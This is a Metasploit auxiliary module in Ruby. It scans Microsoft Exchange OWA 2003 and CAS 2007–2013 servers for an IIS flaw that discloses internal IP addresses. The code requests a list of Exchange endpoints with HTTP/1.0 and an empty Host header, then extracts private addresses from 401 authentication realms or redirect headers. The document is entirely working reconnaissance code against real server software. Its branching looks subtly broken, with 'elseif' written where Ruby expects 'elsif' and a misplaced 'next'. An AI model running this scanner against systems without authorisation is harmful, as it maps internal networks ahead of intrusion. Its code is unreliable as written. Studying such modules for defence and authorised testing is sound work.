Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',  
'Description' => %q{  
This module tests vulnerable IIS HTTP header file paths on Microsoft  
Exchange OWA 2003 and CAS 2007, 2010, and 2013 servers.  
},  
'Author' =>  
[  
'Nate Power'  
],  
'DisclosureDate' => 'Dec 17 2012',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SSL' => true  
}  
)  
  
register_options(  
[  
OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),  
OptInt.new('RPORT', [ true, "The target port", 443]),  
])  
end  
  
def run_host(target_host)  
rhost = target_host  
print_status("#{msg} Checking HTTP headers")  
get_ip_extract  
end  
  
def get_ip_extract  
urls = ["/Microsoft-Server-ActiveSync/default.eas",  
"/Microsoft-Server-ActiveSync",  
"/Autodiscover/Autodiscover.xml",  
"/Autodiscover",  
"/Exchange",  
"/Rpc",  
"/EWS/Exchange.asmx",  
"/EWS/Services.wsdl",  
"/EWS",  
"/ecp",  
"/OAB",  
"/OWA",  
"/aspnet_client",  
"/PowerShell"]  
  
result = nil  
  
urls.each do |url|  
begin  
res = send_request_cgi({  
'version' => "1.0",  
'uri' => "#{url}",  
'method' => 'GET',  
'vhost' => ''  
}, timeout = datastore['TIMEOUT'])  
  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT  
print_error("#{msg} HTTP Connection Failed")  
next  
end  
  
if not res  
print_error("#{msg} HTTP Connection Timeout")  
next  
end  
  
if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))  
result = match.captures[0]  
print_status("#{msg} Status Code: 401 response")  
print_status("#{msg} Found Path: " + url )  
print_good("#{msg} Found target internal IP address: " + result)  
return result  
elseif  
print_warning("#{msg} No internal address found")  
next  
end  
  
if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^https?:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))  
result = match.captures[0]  
print_status("#{msg} Status Code: #{res.code} response")  
print_status("#{msg} Found Path: " + url )  
print_good("#{msg} Found target internal IP address: " + result)  
return result  
elseif  
print_warning("#{msg} No internal address found")  
next  
end  
end  
  
if result.nil?  
print_warning("#{msg} Nothing found")  
end  
  
return result  
end  
def msg  
"#{rhost}:#{rport} -"  
end  
end  
`